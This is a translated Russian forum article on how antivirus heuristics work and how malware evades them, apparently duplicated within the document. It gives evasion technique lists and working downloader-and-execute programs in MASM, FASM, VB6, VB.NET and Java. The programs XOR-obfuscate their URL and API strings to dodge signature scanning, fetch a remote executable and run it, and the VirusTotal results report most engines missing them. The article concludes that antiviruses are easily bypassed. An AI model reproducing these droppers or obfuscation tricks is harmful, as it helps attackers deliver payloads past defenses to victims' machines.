[Вредоносное ПО vs AVs]
0x00 - Описание
0x10 - Вступление
0x20 - Avs
0x30 - Малваря
0x40 - Техники антивирусов
0x50 - Техники вредоносного ПО для обхода аверов
0x60 - Примеры
0x70 - Заключение
0x00 - Описание
В этой статье показано, что такое антивирусная система, что такое вредоносное ПО (malware) =), и показаны техники, которые антивирусы используют для обнаружения малвари, ну и конечно техники, которые использует вредоносное ПО для обхода антивирусов.
В конце я покажу вам несколько примеров самых простых листингов вредоносного ПО, написанных на самых популярных языках, доступных сегодня (ASM,
C/C++ Visual Basic 6/.NET, JAVA), и покажу как антивирусы распознают вредоносное ПО, или нет =).
0x10 - Вступление
Антивирус, по определению "Антивирусное ПО это компьютерная программа, которая выявляет, нейтрализует и ликвидирует вредоносное ПО.".
Но в наши дни, он делает намного больше чем просто "нейтрализует" и "ликвидирует",
"потенциально опасное ПО", антивирус способствует предотвращению целому ряду опасностей, которые могут нанести вашему компьютеру вред.
Антивирусное ПО, использует современные методы для обнаружения уже существующего зловреда, ну и конечно ранее неизвестной малвари. Идентификация подозрительных программ, и конечно лучше оружие антивирусов в наши дни это эвристический анализ, или просто эвристика.
Техники будет подробнее описаны в главе 0x40.
0x30 - Малваря
Вредоносное ПО, по определению "Вредоносное ПО это все программы, которые способны поставить под угрозу безопасность системы.". И так это могут быть вирусы, трояны, руткиты, черви, шпионское ПО, бэкдоры, и др..
Подобно антивирусам, вредоносное ПО использует продвинутые техники защиты от обнаружение антивирусным ПО - шифрование, упакова, запутывание точки входа, анти-эмуляция, полиморфизм, перехваты, инжекты, и многое другое.
Подробнее будет описано ниже.
0x40 - Техники антивирусов
Есть несколько основных принципе обнаружения, общий (generic) и Специфический (specific).
Специфический - антивирус должен иметь начальные представления о целевом вредоносном ПО.
Общий- метод основан на характеристиках вредоносного ПО.
Общий метод также называется эвристическим, эвристика, это техника, которую антивирусное ПО использует чтобы обнаружать ранее неизвестные вредоносные программы. Эвристика, это техника, которая сочитает в себе обнаружение по сигнатурам, характеристикам и эмуляцию.
Эвристика была создана, с увеличившимся количеством созданных вредоносных программ,
в соответствии с отчетом F-Secure, в 2007 году число созданого вредоносного ПО превзошло в целом, то что было создано за 20 лет. В 1995, вредоносное ПО имело контроль над антивирусным ПО, антивирусные компании задумались о создании эвристики.
Самые распространенные эвристические техники:
- эмулятор памяти;
- синтаксический анализатор;
- анализатор потоков;
- анализатор кода;
- дизассемблер/эмулятор;
- Обобщенная система и/или система основанная на правилах.
Есть два типа сканирования - сигнатурный и эвристический.
Сигнатурное сканирование, это сканирование основанное на поиске определенной последовательности байт, которые присутствуют в известном вредоносном ПО, вроде "*.exe", apis функций, и др.
Эвристическое сканирование намного сложнее предыдущего, эвристический сканер ищет инструкции и команды, которых нет в обычных программах.
Есть некоторые характеристики, которые позволяют антивирусам определять вредоносному ПО, вот они:
[характеристики]
-Executable
- Не правильный timestamp;
- Точка входа
- расположение точки входа, если точка входа не в первой секции;
- Размер загрузочного файла
- Если загрузочный файл менее 2kb;
- Информация о заголовке РЕ файла
- расположение PE заголовка;
- Не правильный SizeOfImage;
- Не правильный SizeOfCode;
- другие не верные данные PE заголовка;
- характеристики секций
- если последняя секция с параметром "exectubale";
- если первая секций "writable";
- число секций
- в файле только одна секция;
- имена секций
- неизвестные имена секций;
- пустые имена секций;
- код
- различия между стандартами в языках;
- перенаправление кода;
- длинные зацикливания (loops)/прыжки;
- использование PEB для поиска базы адресов длл;
- подозрительные текстовые строки
- "*.exe";
- "CreateRemoteThread";
- и т.д.;
- и другое...
[Эмуляция]
- Подозрительный доступ к файлам;
- Перенаправления;
- Подозрительное распределение памяти;
- Содержание функций по поиску загрузочных (.COM or .EXE) файлов;
- Поиск функций декрипта;
- Не верная точка входа;
- Перехват запуска определенных программ;
- Доступ записи на диск;
- Доступ/Создание файлов в критических областях;
- Резидентный код;
- Неверные опкоды (non-8088 инструкции) или вне диапазона;
- Подозрительные конструкции переходов;
- Несовместимый exe-заголовок;
- Мусорные инструкции;
- Недокументируемые прерывания/DOS вызовы;
- EXE/COM определения;
- Перезапись/смещение программы в памяти;
- Переазпуск файла после модификаций;
- Необычный стек;
- Неправильное древо загрузочного файла;
- и т.д....
Количество этих характеристик определяют детект вредоносного кода.
Вкратце эвристика это очень мощная технология, но и в ней есть недостатки,
эвристика может давать ложные срабатывания, к примеру, программы которые написанны для того чтобы форматировать или дефрагментировать диск, могут быть определены как вредоносное по или что они заражены.
Для предотвращения этого антивирус может распознавать легальные программы.
0x50 - Техники вредоносного ПО для обхода аверов
Сейчас, после всего этого я покажу, как вредоносные программы обходят эвристику. В наши дни вредоносное ПО также использует продвинутые техники для сокрытия от обнаружения детектов:
- характеристики секций не искажены;
- секции называются правильными именами;
- обфускация;
- запутывание точки входа;
- патчи стэка;
- правильные хэши (Checksums);
- правильное время создания файла (timestamp);
- правильный PE заголовок;
- SEH;
- использование MMX, SSE технологий;
- Anti-Sandbox;
- Anti-Debug;
- Anti-Virtualization;
- перенаправление Api;
- Api hook (трехуровневый 0/3);
- Расшифровка кода с помощью брутфорса;
- Использование потоков и двойных потоков;
- Отсутствие текстовых строк и т.д.;
Главная методика обхода эвристики - это маскировка вредоносного кода под нормальную программу.
0x60 - Примеры
В этой главе мы попробуем написать несколько простых примеров, для тестирования реакций антивирусов, во первых, мы напишем программу для отображения сообщения (messagebox) и выхода из прогарммы (Exitprocess).
Для тестов будет использоваться вирустотал.
MASM.
результат hxxp://www.virustotal.com/pt/analisis/1a00...31746fc0e0f1057
один антивирус Prevx1 реагирует неадекватно, посмотрим что дальше
теперь FASM.
результат: hxxp://www.virustotal.com/pt/analisis/83b9...e57f99cdade57db
Самое интересное, что 5 антивирусов определяют как вирус простое сообщение.
Теперь на C/C++.
Результат: hxxp://www.virustotal.com/pt/analisis/fbfd...c15fdeef60c2fd5
Все чисто, так я и думал.
Теперь Visual Basic 6.
Результат: hxxp://www.virustotal.com/pt/analisis/0f76...40ab9d00c52d28c
Еще один облачный детект, панда говорит что файл подозрителен - "Suspicious file" =).
Теперь VB.NET.
Результат: hxxp://www.virustotal.com/pt/analisis/6c13...b75f1970099c5b5
Чисто.
Теперь JAVA.
Результат: hxxp://www.virustotal.com/analisis/f418982...016d9f5f9d1b6df
Чисто, как я и думал.
С помощью этих тестов мы можем сделать вывод, что большинство антивирусов, с большей легкостью обнаруживают родные win32 программы, чем, что-то странное в ассмеблированных вызовах банального messagebox (MASM,FASM), ничего не определяя в программах основанных на фрэймворках, VB.NET и JAVA, и как мы может рассуждать, антивирус не умеют должным образом эмулировать приложения основанные на JAVA и .NET.
Теперь закончим тест чем нибудь простым, но чем-то, с чем каждый программист хоть раз сталкивался, будем тестировать простейший Downloader.
В рамках не фреймворковой программы, мы будем использовать только одну апи, функцию декрипта зашифрованной текстовых строк, для избежания сигнатурного скана.
Наш лоадер будет качать putty шел, отсюда :
hxxp://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
MASM.
Результат: hxxp://www.virustotal.com/pt/analisis/b1f2...a734d9f65375736
Хммм.. неожиданный результат, всего 4 авера, и лучшие пошли лесом
(Kaspersky, Nod32).
Теперь попробуем FASM.
Результат: hxxp://www.virustotal.com/pt/analisis/44d2...9f51e1b46fb916a
7 аверов определяют, не плохо.
Теперь Visual Basic 6.
Результат: hxxp://www.virustotal.com/pt/analisis/9f89a47f99d0e8c70320cd6335267d86
Они обнаруживают эту апи "URLDownloadToFileA".
Visual Basic.Net
Результат: hxxp://www.virustotal.com/pt/analisis/e5e3ab6de021d6d81570ce71f0539569
Хех, аверы не любят фреймворки =).
JAVA
результат: hxxp://www.virustotal.com/analisis/a7cb0fb...4d620aebd4e11bd
Ничего, как я и думал.
0x70 - Заключение
И так, мы можем сделать выводы:
- У большинства аверов не развита эвристика.
- Мы можем с легкостью обходить их.
- Программы написанные с использованием фреймворков обходят эвристику на ура. =)
p.s. оригинал вы найдете тут http://www.governmentsecurity.org/forum/in...showtopic=29450
p.s.s перевел demien
0x00 - Описание
0x10 - Вступление
0x20 - Avs
0x30 - Малваря
0x40 - Техники антивирусов
0x50 - Техники вредоносного ПО для обхода аверов
0x60 - Примеры
0x70 - Заключение
0x00 - Описание
В этой статье показано, что такое антивирусная система, что такое вредоносное ПО (malware) =), и показаны техники, которые антивирусы используют для обнаружения малвари, ну и конечно техники, которые использует вредоносное ПО для обхода антивирусов.
В конце я покажу вам несколько примеров самых простых листингов вредоносного ПО, написанных на самых популярных языках, доступных сегодня (ASM,
C/C++ Visual Basic 6/.NET, JAVA), и покажу как антивирусы распознают вредоносное ПО, или нет =).
0x10 - Вступление
Антивирус, по определению "Антивирусное ПО это компьютерная программа, которая выявляет, нейтрализует и ликвидирует вредоносное ПО.".
Но в наши дни, он делает намного больше чем просто "нейтрализует" и "ликвидирует",
"потенциально опасное ПО", антивирус способствует предотвращению целому ряду опасностей, которые могут нанести вашему компьютеру вред.
Антивирусное ПО, использует современные методы для обнаружения уже существующего зловреда, ну и конечно ранее неизвестной малвари. Идентификация подозрительных программ, и конечно лучше оружие антивирусов в наши дни это эвристический анализ, или просто эвристика.
Техники будет подробнее описаны в главе 0x40.
0x30 - Малваря
Вредоносное ПО, по определению "Вредоносное ПО это все программы, которые способны поставить под угрозу безопасность системы.". И так это могут быть вирусы, трояны, руткиты, черви, шпионское ПО, бэкдоры, и др..
Подобно антивирусам, вредоносное ПО использует продвинутые техники защиты от обнаружение антивирусным ПО - шифрование, упакова, запутывание точки входа, анти-эмуляция, полиморфизм, перехваты, инжекты, и многое другое.
Подробнее будет описано ниже.
0x40 - Техники антивирусов
Есть несколько основных принципе обнаружения, общий (generic) и Специфический (specific).
Специфический - антивирус должен иметь начальные представления о целевом вредоносном ПО.
Общий- метод основан на характеристиках вредоносного ПО.
Общий метод также называется эвристическим, эвристика, это техника, которую антивирусное ПО использует чтобы обнаружать ранее неизвестные вредоносные программы. Эвристика, это техника, которая сочитает в себе обнаружение по сигнатурам, характеристикам и эмуляцию.
Эвристика была создана, с увеличившимся количеством созданных вредоносных программ,
в соответствии с отчетом F-Secure, в 2007 году число созданого вредоносного ПО превзошло в целом, то что было создано за 20 лет. В 1995, вредоносное ПО имело контроль над антивирусным ПО, антивирусные компании задумались о создании эвристики.
Самые распространенные эвристические техники:
- эмулятор памяти;
- синтаксический анализатор;
- анализатор потоков;
- анализатор кода;
- дизассемблер/эмулятор;
- Обобщенная система и/или система основанная на правилах.
Есть два типа сканирования - сигнатурный и эвристический.
Сигнатурное сканирование, это сканирование основанное на поиске определенной последовательности байт, которые присутствуют в известном вредоносном ПО, вроде "*.exe", apis функций, и др.
Эвристическое сканирование намного сложнее предыдущего, эвристический сканер ищет инструкции и команды, которых нет в обычных программах.
Есть некоторые характеристики, которые позволяют антивирусам определять вредоносному ПО, вот они:
[характеристики]
-Executable
- Не правильный timestamp;
- Точка входа
- расположение точки входа, если точка входа не в первой секции;
- Размер загрузочного файла
- Если загрузочный файл менее 2kb;
- Информация о заголовке РЕ файла
- расположение PE заголовка;
- Не правильный SizeOfImage;
- Не правильный SizeOfCode;
- другие не верные данные PE заголовка;
- характеристики секций
- если последняя секция с параметром "exectubale";
- если первая секций "writable";
- число секций
- в файле только одна секция;
- имена секций
- неизвестные имена секций;
- пустые имена секций;
- код
- различия между стандартами в языках;
- перенаправление кода;
- длинные зацикливания (loops)/прыжки;
- использование PEB для поиска базы адресов длл;
- подозрительные текстовые строки
- "*.exe";
- "CreateRemoteThread";
- и т.д.;
- и другое...
[Эмуляция]
- Подозрительный доступ к файлам;
- Перенаправления;
- Подозрительное распределение памяти;
- Содержание функций по поиску загрузочных (.COM or .EXE) файлов;
- Поиск функций декрипта;
- Не верная точка входа;
- Перехват запуска определенных программ;
- Доступ записи на диск;
- Доступ/Создание файлов в критических областях;
- Резидентный код;
- Неверные опкоды (non-8088 инструкции) или вне диапазона;
- Подозрительные конструкции переходов;
- Несовместимый exe-заголовок;
- Мусорные инструкции;
- Недокументируемые прерывания/DOS вызовы;
- EXE/COM определения;
- Перезапись/смещение программы в памяти;
- Переазпуск файла после модификаций;
- Необычный стек;
- Неправильное древо загрузочного файла;
- и т.д....
Количество этих характеристик определяют детект вредоносного кода.
Вкратце эвристика это очень мощная технология, но и в ней есть недостатки,
эвристика может давать ложные срабатывания, к примеру, программы которые написанны для того чтобы форматировать или дефрагментировать диск, могут быть определены как вредоносное по или что они заражены.
Для предотвращения этого антивирус может распознавать легальные программы.
0x50 - Техники вредоносного ПО для обхода аверов
Сейчас, после всего этого я покажу, как вредоносные программы обходят эвристику. В наши дни вредоносное ПО также использует продвинутые техники для сокрытия от обнаружения детектов:
- характеристики секций не искажены;
- секции называются правильными именами;
- обфускация;
- запутывание точки входа;
- патчи стэка;
- правильные хэши (Checksums);
- правильное время создания файла (timestamp);
- правильный PE заголовок;
- SEH;
- использование MMX, SSE технологий;
- Anti-Sandbox;
- Anti-Debug;
- Anti-Virtualization;
- перенаправление Api;
- Api hook (трехуровневый 0/3);
- Расшифровка кода с помощью брутфорса;
- Использование потоков и двойных потоков;
- Отсутствие текстовых строк и т.д.;
Главная методика обхода эвристики - это маскировка вредоносного кода под нормальную программу.
0x60 - Примеры
В этой главе мы попробуем написать несколько простых примеров, для тестирования реакций антивирусов, во первых, мы напишем программу для отображения сообщения (messagebox) и выхода из прогарммы (Exitprocess).
Для тестов будет использоваться вирустотал.
MASM.
Код:
.386
.model flat, stdcall
option casemap:none
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.data
_szMessage db "Juza", 0h
_szText db "The Puppet Master", 0h
.code
start:
push 0
push offset _szMessage
push offset _szText
push 0
call MessageBoxA
push 0
call ExitProcess
end start
результат hxxp://www.virustotal.com/pt/analisis/1a00...31746fc0e0f1057
один антивирус Prevx1 реагирует неадекватно, посмотрим что дальше
теперь FASM.
Код:
format PE GUI 4.0
entry start
include 'win32a.inc'
section '.data' data readable writeable
_caption db 'The Puppet Master',0
_message db 'Juza',0
section '.code' code readable executable
start:
push MB_OK
push _caption
push _message
push NULL
call [MessageBox]
push 0
call [ExitProcess]
section '.idata' import data readable writeable
library user,'USER32.dll',\
kernel, 'KERNEL32.DLL'
import user,\
MessageBox,'MessageBoxA'
import kernel,\
ExitProcess, 'ExitProcess'
результат: hxxp://www.virustotal.com/pt/analisis/83b9...e57f99cdade57db
Самое интересное, что 5 антивирусов определяют как вирус простое сообщение.
Теперь на C/C++.
Код:
#include <windows.h>
#ifndef null
#define null 0
#endif
int main (int argc, char **argv) {
MessageBox(null, "Juza", "Juza", null);
return 0;
}
Результат: hxxp://www.virustotal.com/pt/analisis/fbfd...c15fdeef60c2fd5
Все чисто, так я и думал.
Теперь Visual Basic 6.
Код:
Private Declare Function MessageBox _
Lib "user32" Alias "MessageBoxA" _
(ByVal hwnd As Long, ByVal lpText As String, _
ByVal lpCaption As String, ByVal wType As Long) As Long
Private Sub Form_Load()
MessageBox &H0, "Juza", "Juza The Puppet Master", &H0
unload me
End Sub
Результат: hxxp://www.virustotal.com/pt/analisis/0f76...40ab9d00c52d28c
Еще один облачный детект, панда говорит что файл подозрителен - "Suspicious file" =).
Теперь VB.NET.
Код:
Public Class Form1
Private Sub Form1_Load( _
ByVal sender As System.Object, _
ByVal e As System.EventArgs) _
Handles MyBase.Load
MessageBox.Show("Juza", "Juza", MessageBoxButtons.OK)
End Sub
End Class
Результат: hxxp://www.virustotal.com/pt/analisis/6c13...b75f1970099c5b5
Чисто.
Теперь JAVA.
Код:
import javax.swing.JApplet;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
public class mg extends JApplet {
static JFrame frame = new JFrame("My Window");
public static void main(String[] args) {
JOptionPane.showMessageDialog(frame, "Juza The Puppet Naster");
}
}
Результат: hxxp://www.virustotal.com/analisis/f418982...016d9f5f9d1b6df
Чисто, как я и думал.
С помощью этих тестов мы можем сделать вывод, что большинство антивирусов, с большей легкостью обнаруживают родные win32 программы, чем, что-то странное в ассмеблированных вызовах банального messagebox (MASM,FASM), ничего не определяя в программах основанных на фрэймворках, VB.NET и JAVA, и как мы может рассуждать, антивирус не умеют должным образом эмулировать приложения основанные на JAVA и .NET.
Теперь закончим тест чем нибудь простым, но чем-то, с чем каждый программист хоть раз сталкивался, будем тестировать простейший Downloader.
В рамках не фреймворковой программы, мы будем использовать только одну апи, функцию декрипта зашифрованной текстовых строк, для избежания сигнатурного скана.
Наш лоадер будет качать putty шел, отсюда :
hxxp://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
MASM.
Код:
.386
.model flat, stdcall
option casemap:none
include kernel32.inc
include shell32.inc
includelib kernel32.lib
includelib shell32.lib
.data
;http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
_szDownload db ".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 0h;70
_szDll db "Afxy{z:pxx", 0h;20
_szFunc db "}zdlG_FDGIL|GnADMi", 0h;40
_szSp db "a8^rwvv{,gzg", 0h;2
_dwHDll dd 0h
_dwHFunc dd 0h
.code
start:
mov eax, offset _szDll
@@:
cmp byte ptr [eax], 0h
je @F
xor byte ptr [eax], 20
add eax, 1
jmp @B
@@:
push offset _szDll
call LoadLibrary
mov _dwHDll, eax
mov eax, offset _szFunc
@@:
cmp byte ptr [eax], 0h
je @F
xor byte ptr [eax], 40
add eax, 1
jmp @B
@@:
push offset _szFunc
push dword ptr [_dwHDll]
call GetProcAddress
mov _dwHFunc, eax
mov eax, offset _szDownload
@@:
cmp byte ptr [eax], 0h
je @F
xor byte ptr [eax], 70
add eax, 1
jmp @B
@@:
mov eax, offset _szSp
@@:
cmp byte ptr [eax], 0h
je @F
xor byte ptr [eax], 2
add eax, 1
jmp @B
@@:
mov eax, dword ptr _dwHFunc
push 0h
push 0h
push offset _szSp
push offset _szDownload
push 0h
call eax
push 5;SW_SHOW
push 0
push 0
push offset _szSp
push 0
push 0
call ShellExecute
push 0
call ExitProcess
end start
Результат: hxxp://www.virustotal.com/pt/analisis/b1f2...a734d9f65375736
Хммм.. неожиданный результат, всего 4 авера, и лучшие пошли лесом
(Kaspersky, Nod32).
Теперь попробуем FASM.
Код:
format PE GUI 4.0
entry start
include 'win32a.inc'
section '.data' data readable writeable
_szDownload db ".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 0h;70
_szDll db "Afxy{z:pxx", 0h;20
_szFunc db "}zdlG_FDGIL|GnADMi", 0h;40
_szSp db "a8^rwvv{,gzg", 0h;2
_dwHDll dd 0h
_dwHFunc dd 0h
section '.code' code readable executable
start:
mov eax, _szDll
@@:
cmp byte [eax], 0h
je @F
xor byte [eax], 20
add eax, 1
jmp @B
@@:
push _szDll
call [LoadLibrary]
mov [_dwHFunc], eax
mov eax, _szFunc
@@:
cmp byte [eax], 0h
je @F
xor byte [eax], 40
add eax, 1
jmp @B
@@:
push _szFunc
push [_dwHFunc]
call [GetProcAddress]
mov [_dwHFunc], eax
mov eax, _szDownload
@@:
cmp byte [eax], 0h
je @F
xor byte [eax], 70
add eax, 1
jmp @B
@@:
mov eax, _szSp
@@:
cmp byte [eax], 0h
je @F
xor byte [eax], 2
add eax, 1
jmp @B
@@:
mov eax, [_dwHFunc]
push 0h
push 0h
push _szSp
push _szDownload
push 0h
call eax
push 5;SW_SHOW
push 0
push 0
push _szSp
push 0
push 0
call [ShellExecute]
push 0
call [ExitProcess]
section '.idata' import data readable writeable
library shell,'SHELL32.DLL',\
kernel, 'KERNEL32.DLL'
import kernel,\
GetProcAddress, 'GetProcAddress',\
LoadLibrary, 'LoadLibraryA',\
ExitProcess, 'ExitProcess'
import shell,\
ShellExecute, 'ShellExecuteA'
Результат: hxxp://www.virustotal.com/pt/analisis/44d2...9f51e1b46fb916a
7 аверов определяют, не плохо.
Теперь Visual Basic 6.
Код:
Private Declare Function URLDownloadToFile Lib "urlmon.dll" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long _
) As Long
Private Sub Form_Load()
URLDownloadToFile &H0, decript(".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 70), _
decript("a8^rwvv{,gzg", 2), &H0, &H0
Shell decript("a8^rwvv{,gzg", 2)
Unload me
End Sub
Private Function decript(ByVal szStr As String, ByVal intVal As Integer) As String
Dim i, a As Integer
Dim szChar As String
Dim szDump As String
For i = 1 To Len(szStr)
szChar = Mid(szStr, i, 1)
a = intVal Xor Asc(szChar)
szChar = Chr(a)
szDump = szDump & szChar
Next i
decript = szDump
End Function
Результат: hxxp://www.virustotal.com/pt/analisis/9f89a47f99d0e8c70320cd6335267d86
Они обнаруживают эту апи "URLDownloadToFileA".
Visual Basic.Net
Код:
Imports System.IO
Imports System.Net
Imports System.Text
Public Class Form1
Private Sub Form1_Load( _
ByVal sender As System.Object, ByVal e As System.EventArgs) _
Handles MyBase.Load
Dim wr As HttpWebRequest = CType(WebRequest.Create(decript(".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 70)), HttpWebRequest)
Dim ws As HttpWebResponse = CType(wr.GetResponse(), HttpWebResponse)
Dim str As Stream = ws.GetResponseStream()
Dim inBuf(100000) As Byte
Dim bytesToRead As Integer = CInt(inBuf.Length)
Dim bytesRead As Integer = 0
While bytesToRead > 0
Dim n As Integer = str.Read(inBuf, bytesRead, bytesToRead)
If n = 0 Then
Exit While
End If
bytesRead += n
bytesToRead -= n
End While
Dim fstr As New FileStream(decript("a8^rwvv{,gzg", 2), FileMode.OpenOrCreate, FileAccess.Write)
fstr.Write(inBuf, 0, bytesRead)
str.Close()
fstr.Close()
Shell(decript("a8^rwvv{,gzg", 2))
Me.Close()
End Sub
Private Function decript(ByVal szStr As String, ByVal intVal As Integer) As String
Dim i, a As Integer
Dim szChar As String
Dim szDump As String = vbNullString
For i = 1 To Len(szStr)
szChar = Mid(szStr, i, 1)
a = intVal Xor Asc(szChar)
szChar = Chr(a)
szDump = szDump & szChar
Next i
decript = szDump
End Function
End Class
Результат: hxxp://www.virustotal.com/pt/analisis/e5e3ab6de021d6d81570ce71f0539569
Хех, аверы не любят фреймворки =).
JAVA
Код:
import java.io.*;
import java.net.*;
import java.util.concurrent.Executor;
public class FileDownload {
public static void download(String address, String localFileName) {
OutputStream out = null;
URLConnection conn = null;
InputStream in = null;
try {
URL url = new URL(address);
out = new BufferedOutputStream(
new FileOutputStream(localFileName));
conn = url.openConnection();
in = conn.getInputStream();
byte[] buffer = new byte[1024];
int numRead;
long numWritten = 0;
while ((numRead = in.read(buffer)) != -1) {
out.write(buffer, 0, numRead);
numWritten += numRead;
}
System.out.println(localFileName + "\t" + numWritten);
} catch (Exception exception) {
exception.printStackTrace();
} finally {
try {
if (in != null) {
in.close();
}
if (out != null) {
out.close();
}
} catch (IOException ioe) {
}
}
}
public static void download(String address) {
int lastSlashIndex = address.lastIndexOf('/');
if (lastSlashIndex >= 0 &&
lastSlashIndex < address.length() - 1) {
download(address, address.substring(lastSlashIndex + 1));
} else {
System.err.println("Could not figure out local file name for " +
address);
}
}
public static void main(String[] args) throws IOException {
String command = "wine putty.exe";
download("http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe");
Process child = Runtime.getRuntime().exec(command);
}
}
результат: hxxp://www.virustotal.com/analisis/a7cb0fb...4d620aebd4e11bd
Ничего, как я и думал.
0x70 - Заключение
И так, мы можем сделать выводы:
- У большинства аверов не развита эвристика.
- Мы можем с легкостью обходить их.
- Программы написанные с использованием фреймворков обходят эвристику на ура. =)
p.s. оригинал вы найдете тут http://www.governmentsecurity.org/forum/in...showtopic=29450
p.s.s перевел demien